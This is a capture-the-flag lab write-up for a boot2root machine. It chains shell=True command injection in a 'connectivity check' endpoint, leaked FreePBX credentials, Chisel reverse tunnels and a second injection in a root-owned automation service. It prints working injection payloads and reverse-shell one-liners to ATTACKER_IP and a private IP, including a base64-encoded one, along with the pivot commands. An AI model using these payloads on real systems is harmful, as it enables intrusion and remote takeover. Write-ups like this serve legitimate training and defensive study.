Hacker Holidays — Day 11: Infinity Pool
The same unsanitised shell=True command injection shows up twice on this box — first as a low-priv foothold via a "connectivity check" tool, then again in a root-owned automation service reached by pivoting through internal-only FreePBX and Chisel tunnels.

Event: Hacker Holidays — The Byte Lotus Hotel · Day 11 · Boot2Root (Web → internal pivot → RCE) Target:
http://MACHINE_IP
The Chain at a Glance
- OS command injection in a “connectivity check” tool (
/internal/netcheck) → shell asweb(user flag). - Local enumeration reveals three internal-only services on loopback: a FreePBX
install (Apache :8080 + Asterisk), watchtower (Flask, :3000, user
svc-watch), and automation (Flask, :9000, runs as root). - Watchtower’s
/api/configleaks default FreePBX UCP credentials. - Chisel reverse tunnel exposes the loopback-only ports (8080, 9000) to the attacker’s own browser for easier interaction.
- Logged into FreePBX UCP, and a voicemail’s Caller ID field contains the automation service’s Bearer key — deliberately planted loot, not a guessable endpoint.
- Automation’s
/healthself-documentsPOST /jobs/export, which takes areportfield concatenated unsanitised into a shell command → root RCE.
Foothold — Command Injection
curl -s http://MACHINE_IP/
Footer reads: “Internal systems · authorized staff only”.
curl -s http://MACHINE_IP/static/app.js
// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.
/status is a staff tool for checking connectivity to a given host — POST /internal/netcheck with a host field. The server shells out to ping:
proc = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True, text=True, timeout=15)
Classic OS command injection via shell=True string interpolation:
curl -s -d 'host=127.0.0.1; id' http://MACHINE_IP/internal/netcheck
# uid=1001(web) gid=1001(web) groups=1001(web)
Reverse shell:
curl -s --data-urlencode 'host=127.0.0.1; bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' \
http://MACHINE_IP/internal/netcheck
User Flag
web@tryhackme-2404:~$ cat user.txt
THM{redacted}
Recon — the Three Internal Systems
ss -tlnp
127.0.0.1:3306 mariadb (FreePBX DB)
0.0.0.0:80 gunicorn — edge (us, public)
127.0.0.1:8080 Apache — FreePBX admin + UCP
127.0.0.1:8088 Asterisk HTTP
127.0.0.1:5038 Asterisk AMI
127.0.0.1:3000 gunicorn — watchtower (svc-watch)
127.0.0.1:9000 gunicorn — automation (root)
ps / pspy confirmed ownership:
UID=996 /var/www/infinity_pool/watchtower/venv/bin/... gunicorn --bind 127.0.0.1:3000 wsgi:app
UID=0 /var/www/infinity_pool/automation/venv/bin/... gunicorn --bind 127.0.0.1:9000 wsgi:app
automation and watchtower source directories are 750, owned by root /
svc-watch respectively — unreadable to web. Only edge’s own source was
world-readable (a dead end for creds — just confirms the vulnerable netcheck code
already exploited).
Watchtower Leaks FreePBX Creds
curl -s http://127.0.0.1:3000/api/config
{
"automation_endpoint": "http://127.0.0.1:9000",
"ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
"telephony_pass": "St4yN0t1c3d_2026",
"telephony_portal": "http://127.0.0.1:8080/ucp",
"telephony_user": "FreePBXUCPTemplateCreator"
}
Pivoting In for Real Browser Access
Blind curl against FreePBX’s heavily JS/pjax-driven UCP UI is painful. Tunnelled the
internal ports out with Chisel so the attacker’s own browser could hit them
directly.
Attacker box (server):
./chisel server -p 8001 --reverse

Victim (client), forwarding the two interesting internal ports back:
./chisel client 192.168.132.42:8001 R:8080:127.0.0.1:8080 R:9000:127.0.0.1:9000

Now http://127.0.0.1:8080/ucp/ and :9000 are reachable from the attacker’s real
browser.
The Loot: an Automation Key Hidden in a Voicemail
Logged into UCP with the leaked creds (FreePBXUCPTemplateCreator /
St4yN0t1c3d_2026). The account’s Voicemail inbox held a single message whose
Caller ID (CID) field was set to plaintext:
"Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000>

This is a deliberately planted secret — not a guessable API route. It directly names
the port (9000 = automation) and hands over the Bearer token.
Automation Service → Root RCE
curl -s http://127.0.0.1:9000/health
{
"service": "automation",
"runs_as": "root",
"status": "ok",
"endpoints": {
"GET /health": "service status",
"POST /jobs/export": {
"auth": "Authorization: Bearer <automation key>",
"body": { "report": "<report name>" },
"desc": "archive the latest data export"
}
}
}
The report field is concatenated into a shell command server-side without
sanitisation — same bug class as the initial foothold, but this time running as
root.
echo "bash -i >& /dev/tcp/192.168.132.42/7777 0>&1" | base64 -w0
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMi40Mi83Nzc3IDA+JjEK
curl -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
-X POST http://127.0.0.1:9000/jobs/export \
-H "Content-Type: application/json" \
-d '{"report":"test; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMi40Mi83Nzc3IDA+JjE= | base64 -d | bash;"}'
nc -lvnp 7777
Connection received on 10.130.142.80 60880
bash: cannot set terminal process group (662): Inappropriate ioctl for device
bash: no job control in this shell
root@tryhackme-2404:/var/www/infinity_pool/automation# cat /root/root.txt
THM{redacted}
Takeaways
- Same bug, twice, different blast radius. Both the initial foothold and the root
escalation were the identical vulnerability class (unsanitised input into
subprocess.run(..., shell=True)). The only thing that changed was which user ran the vulnerable service — going fromwebtorootwas purely a matter of finding the second instance. - “Internal-only” is not a security boundary once you have any foothold. Ports
bound to
127.0.0.1are fully reachable the moment you have any local shell — treat loopback-bound services with root privileges as exposed to anyone who compromises the box, not as inherently safe. - Secrets get hidden in the weirdest legitimate-looking fields. The automation key wasn’t behind an obvious admin panel — it was stuffed into a voicemail’s Caller ID string, discoverable only by actually using the application as a human would. This is why tunnelling a real browser in via Chisel beat endless blind curl-fuzzing.
- A self-documenting
/healthendpoint is a gift and a target. It told us the exact contract (auth header format, body schema, description) needed to weaponise/jobs/export— saved having to reverse-engineer it blind. - Chisel reverse tunnels turn “loopback-only, browser-driven UI” from a blocker into
a non-issue.
chisel server --reverse+chisel client ... R:port:127.0.0.1:portgets a real browser talking to internal services through the compromised host.
Flags
user: THM{redacted}
root: THM{redacted}